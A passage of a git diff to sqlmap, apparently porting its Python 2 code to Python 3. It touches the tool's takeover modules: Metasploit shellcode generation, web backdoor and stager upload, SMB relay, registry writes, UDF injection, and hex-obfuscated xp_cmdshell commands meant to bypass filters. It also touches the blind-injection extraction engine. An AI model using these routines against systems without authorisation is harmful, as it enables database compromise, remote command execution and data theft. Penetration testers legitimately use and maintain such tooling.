-615,7 +598,7 @@ def createMsfShellcode(self, exitfunc, format, extra, encode): pollProcess(process) payloadStderr = process.communicate()[1] - match = re.search(r"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\d]+)", payloadStderr) + match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr) if match: payloadSize = int(match.group(2)) @@ -626,11 +609,11 @@ def createMsfShellcode(self, exitfunc, format, extra, encode): debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: - errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", " ").replace("\r", "") + errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "") raise SqlmapFilePathException(errMsg) self._shellcodeFP = open(self._shellcodeFilePath, "rb") - self.shellcodeString = self._shellcodeFP.read() + self.shellcodeString = getText(self._shellcodeFP.read()) self._shellcodeFP.close() os.unlink(self._shellcodeFilePath) @@ -642,7 +625,7 @@ def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") content = decloak(self.shellcodeexecLocal) if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: - content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))) + content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))) _ = cloak(data=content) handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") os.close(handle) @@ -703,9 +686,9 @@ def smb(self): self._runMsfCliSmbrelay() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile) + self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) else: - self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile) + self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) debugMsg = "Metasploit Framework console exited with return " debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 5b83526c006..5abec5fabc3 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,18 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os +from lib.core.common import openFile from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger from lib.core.enums import REGISTRY_OPERATION -class Registry: +class Registry(object): """ This class defines methods to read and write Windows registry keys """ @@ -48,7 +49,7 @@ def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): ) def _createLocalBatchFile(self): - self._batPathFp = open(self._batPathLocal, "w") + self._batPathFp = openFile(self._batPathLocal, "w") if self._operation == REGISTRY_OPERATION.READ: lines = self._batRead diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index e5f7c9e5049..36192805ea5 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,26 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.agent import agent +from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToStdout -from lib.core.common import Backend +from lib.core.common import isDigit from lib.core.common import isStackingAvailable from lib.core.common import readInput +from lib.core.common import unArrayizeValue +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import logger from lib.core.data import queries -from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import OS -from lib.core.common import unArrayizeValue from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUnsupportedFeatureException @@ -28,7 +30,7 @@ from lib.core.unescaper import unescaper from lib.request import inject -class UDF: +class UDF(object): """ This class defines methods to deal with User-Defined Functions for plugins. @@ -108,7 +110,7 @@ def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): return output def udfCheckNeeded(self): - if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: + if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") if not conf.osPwn: @@ -128,7 +130,7 @@ def udfSetLocalPaths(self): errMsg = "udfSetLocalPaths() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) - def udfCreateFromSharedLib(self, udf=None, inpRet=None): + def udfCreateFromSharedLib(self, udf, inpRet): errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) @@ -196,18 +198,18 @@ def udfInjectCustom(self): if not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" - logger.warn(warnMsg) + logger.warning(warnMsg) if not conf.shLib: msg = "what is the local path of the shared library? " while True: - self.udfLocalFile = readInput(msg) + self.udfLocalFile = readInput(msg, default=None, checkBatch=False) if self.udfLocalFile: break else: - logger.warn("you need to specify the local path of the shared library") + logger.warning("you need to specify the local path of the shared library") else: self.udfLocalFile = conf.shLib @@ -247,18 +249,18 @@ def udfInjectCustom(self): else: break else: - logger.warn("invalid value, only digits are allowed") + logger.warning("invalid value, only digits are allowed") for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) - udfName = readInput(msg) + udfName = readInput(msg, default=None, checkBatch=False) if udfName: self.udfs[udfName] = {} break else: - logger.warn("you need to specify the name of the UDF") + logger.warning("you need to specify the name of the UDF") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" @@ -278,7 +280,7 @@ def udfInjectCustom(self): break else: - logger.warn("invalid value, only digits >= 0 are allowed") + logger.warning("invalid value, only digits >= 0 are allowed") for y in xrange(0, parCount): msg = "what is the data-type of input parameter " @@ -288,7 +290,7 @@ def udfInjectCustom(self): parType = readInput(msg, default=defaultType).strip() if parType.isdigit(): - logger.warn("you need to specify the data-type of the parameter") + logger.warning("you need to specify the data-type of the parameter") else: self.udfs[udfName]["input"].append(parType) @@ -300,8 +302,8 @@ def udfInjectCustom(self): while True: retType = readInput(msg, default=defaultType) - if isinstance(retType, basestring) and retType.isdigit(): - logger.warn("you need to specify the data-type of the return value") + if hasattr(retType, "isdigit") and retType.isdigit(): + logger.warning("you need to specify the data-type of the return value") else: self.udfs[udfName]["return"] = retType break @@ -334,19 +336,17 @@ def udfInjectCustom(self): msg += "\n[q] Quit" while True: - choice = readInput(msg).upper() + choice = readInput(msg, default=None, checkBatch=False).upper() if choice == 'Q': break - elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): + elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break - elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): - break else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) - logger.warn(warnMsg) + logger.warning(warnMsg) if not isinstance(choice, int): break @@ -360,7 +360,7 @@ def udfInjectCustom(self): msg += "%d (data-type: %s)? " % (count, inp) while True: - parValue = readInput(msg) + parValue = readInput(msg, default=None, checkBatch=False) if parValue: if "int" not in inp and "bool" not in inp: @@ -370,7 +370,7 @@ def udfInjectCustom(self): break else: - logger.warn("you need to specify the value of the parameter") + logger.warning("you need to specify the value of the parameter") count += 1 diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 445270f285e..321840a8e4a 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,16 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import io import os import posixpath import re -import StringIO import tempfile -import urlparse from extra.cloak.cloak import decloak from lib.core.agent import agent @@ -21,23 +20,30 @@ from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet -from lib.core.common import getUnicode -from lib.core.common import ntToPosixSlashes +from lib.core.common import getTechnique +from lib.core.common import getTechniqueData +from lib.core.common import isDigit from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath +from lib.core.common import ntToPosixSlashes +from lib.core.common import openFile from lib.core.common import parseFilePaths from lib.core.common import posixToNtSlashes from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage -from lib.core.convert import hexencode -from lib.core.convert import utf8encode +from lib.core.compat import xrange +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths +from lib.core.datatype import OrderedSet from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import OS @@ -51,9 +57,9 @@ from lib.core.settings import SHELL_WRITABLE_DIR_TAG from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request -from thirdparty.oset.pyoset import oset +from thirdparty.six.moves import urllib as _urllib -class Web: +class Web(object): """ This class defines web-oriented OS takeover functionalities for plugins. @@ -77,7 +83,7 @@ def webBackdoorRunCmd(self, cmd): if not cmd: cmd = conf.osCmd - cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) + cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: @@ -93,11 +99,17 @@ def webUpload(self, destFileName, directory, stream=None, content=None, filepath if filepath.endswith('_'): content = decloak(filepath) # cloaked file else: - with open(filepath, "rb") as f: + with openFile(filepath, "rb", encoding=None) as f: content = f.read() if content is not None: - stream = StringIO.StringIO(content) # string content + stream = io.BytesIO(getBytes(content)) # string content + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/3560 + # Reference: https://stackoverflow.com/a/4677542 + stream.seek(0, os.SEEK_END) + stream.len = stream.tell() + stream.seek(0, os.SEEK_SET) return self._webFileStreamUpload(stream, destFileName, directory) @@ -122,10 +134,10 @@ def _webFileStreamUpload(self, stream, destFileName, directory): page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) - if "File uploaded" not in page: + if "File uploaded" not in (page or ""): warnMsg = "unable to upload the file through the web file " warnMsg += "stager to '%s'" % directory - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: return True @@ -138,14 +150,14 @@ def _webFileInject(self, fileContent, fileName, directory): uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" - if isTechniqueAvailable(kb.technique): - where = kb.injection.data[kb.technique].where + if isTechniqueAvailable(getTechnique()): + where = getTechniqueData().where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) - query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding)) + query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) page = Request.queryPage(payload) @@ -189,11 +201,11 @@ def webInit(self): while True: choice = readInput(message, default=str(default)) - if not choice.isdigit(): - logger.warn("invalid value, only digits are allowed") + if not isDigit(choice): + logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): - logger.warn("invalid value, it must be between 1 and %d" % len(choices)) + logger.warning("invalid value, it must be between 1 and %d" % len(choices)) else: self.webPlatform = choices[int(choice) - 1] @@ -254,9 +266,9 @@ def webInit(self): directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) - directories = list(oset(directories)) + directories = list(OrderedSet(directories)) - path = urlparse.urlparse(conf.url).path or '/' + path = _urllib.parse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': _ = [] @@ -267,9 +279,9 @@ def webInit(self): directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) - backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)) + backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) - stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)) + stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) for directory in directories: if not directory: @@ -295,7 +307,7 @@ def webInit(self): for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) - self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) + self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) @@ -323,16 +335,16 @@ def webInit(self): handle, filename = tempfile.mkstemp() os.close(handle) - with open(filename, "w+b") as f: - _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)) - _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) + with openFile(filename, "w+") as f: + _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) + _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) - self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) + self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) @@ -350,7 +362,7 @@ def webInit(self): if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" - logger.warn(warnMsg) + logger.warning(warnMsg) continue elif self.webPlatform == WEB_PLATFORM.ASPX: @@ -387,7 +399,7 @@ def webInit(self): warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index d4db1a6b59a..abefda27ba1 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -15,12 +15,13 @@ from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable -from lib.core.common import pushValue from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import wasLastResponseDelayed -from lib.core.convert import hexencode +from lib.core.compat import xrange +from lib.core.convert import encodeHex from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -34,7 +35,7 @@ from lib.core.threads import getCurrentThreadData from lib.request import inject -class XP_cmdshell: +class XP_cmdshell(object): """ This class defines methods to deal with Microsoft SQL Server xp_cmdshell extended procedure for plugins. @@ -165,9 +166,12 @@ def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): # Obfuscate the command to execute, also useful to bypass filters # on single-quotes self._randStr = randomStr(lowercase=True) - self._cmd = "0x%s" % hexencode(cmd, conf.encoding) self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr - self._forgedCmd += "SET @%s=%s;" % (self._randStr, self._cmd) + + try: + self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False)) + except UnicodeError: + self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd) # Insert the command standard output into a support table, # 'sqlmapoutput', except when DBMS credentials are provided because @@ -266,7 +270,7 @@ def xpCmdshellInit(self): kb.xpCmdshellAvailable = True else: - logger.warn("xp_cmdshell re-enabling failed") + logger.warning("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") self._xpCmdshellConfigure(0) @@ -279,7 +283,7 @@ def xpCmdshellInit(self): else: warnMsg = "xp_cmdshell creation failed, probably " warnMsg += "because sp_OACreate is disabled" - logger.warn(warnMsg) + logger.warning(warnMsg) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index ba6d7085c8c..2c1d3f41634 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,29 +1,33 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from __future__ import division + import re -import threading import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout -from lib.core.common import decodeHexValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter -from lib.core.common import goGoodSamaritan from lib.core.common import getPartRun +from lib.core.common import getTechnique +from lib.core.common import getTechniqueData +from lib.core.common import goGoodSamaritan from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter +from lib.core.common import isDigit +from lib.core.common import isListLike from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf @@ -35,13 +39,14 @@ from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import INFERENCE_BLANK_BREAK -from lib.core.settings import INFERENCE_UNKNOWN_CHAR -from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR +from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_REVALIDATION_STEPS from lib.core.settings import NULL @@ -55,7 +60,9 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode from lib.utils.xrange import xrange +from thirdparty import six def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ @@ -78,11 +85,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() - timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: - if PARTIAL_HEX_VALUE_MARKER in retVal: + if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: + pass + elif PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: @@ -102,6 +111,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return 0, retVal + if Backend.isDbms(DBMS.MCKOI): + match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) + if match: + original = queries[Backend.getIdentifiedDbms()].inference.query + right = original.split('<')[1] + payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) + expression = match.group(1).strip() + + elif Backend.isDbms(DBMS.FRONTBASE): + match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) + if match: + payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) + payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) + expression = match.group(2).strip() + try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: @@ -113,22 +137,22 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if partialValue: firstChar = len(partialValue) - elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression): + elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): firstChar = 0 - elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): + elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 - elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): + elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 - if re.search(r"(?i)\b(LENGTH|LEN)\(", expression): + if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): lastChar = 0 - elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): + elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) - elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): + elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 @@ -141,7 +165,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: expressionUnescaped = unescaper.escape(expression) - if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): + if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) else: length = None @@ -156,56 +180,57 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None length = None showEta = conf.eta and isinstance(length, int) - numThreads = min(conf.threads, length) or 1 + + if kb.bruteMode: + numThreads = 1 + else: + numThreads = min(conf.threads or 0, length or 0) or 1 if showEta: progress = ProgressBar(maxValue=length) - if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: - warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" - singleTimeWarnMessage(warnMsg) - if numThreads > 1: - if not timeBasedCompare or conf.forceThreads: + if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 - if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: + if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) - if conf.verbose in (1, 2) and not showEta and not conf.api: - if isinstance(length, int) and conf.threads > 1: + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): + if isinstance(length, int) and numThreads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) - hintlock = threading.Lock() - def tryHint(idx): - with hintlock: + with kb.locks.hint: hintValue = kb.hintValue - if payload is not None and hintValue is not None and len(hintValue) >= idx: - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): + if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: + if "'%s'" % CHAR_INFERENCE_MARK in payload: posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) - forgedPayload = agent.extractPayload(payload) + markingValue = "'%s'" % CHAR_INFERENCE_MARK + unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) + forgedPayload = agent.extractPayload(payload) or "" + forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue) forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if result: return hintValue[idx - 1] - with hintlock: - kb.hintValue = None + with kb.locks.hint: + kb.hintValue = "" return None @@ -214,6 +239,8 @@ def validateChar(idx, value): Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ + threadData = getCurrentThreadData() + validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: @@ -222,17 +249,18 @@ def validateChar(idx, value): # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) - forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) + forgedPayload = validationPayload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode: - result = threadData.lastCode == kb.injection.data[kb.technique].trueCode + if result and timeBasedCompare and getTechniqueData().trueCode: + result = threadData.lastCode == getTechniqueData().trueCode if not result: - warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) + warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode) singleTimeWarnMessage(warnMsg) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) return result @@ -242,6 +270,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, numerical values is exactly 1 """ + threadData = getCurrentThreadData() + result = tryHint(idx) if result: @@ -252,13 +282,17 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, originalTbl = type(charTbl)(charTbl) - if continuousOrder and shiftTable is None: + if kb.disableShiftTable: + shiftTable = None + elif continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace - shiftTable = [2, 2, 3, 3, 5, 4] + shiftTable = [2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: + if not isinstance(charTbl, list): + charTbl = list(charTbl) charTbl.remove(ord(char)) if not charTbl: @@ -267,7 +301,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) @@ 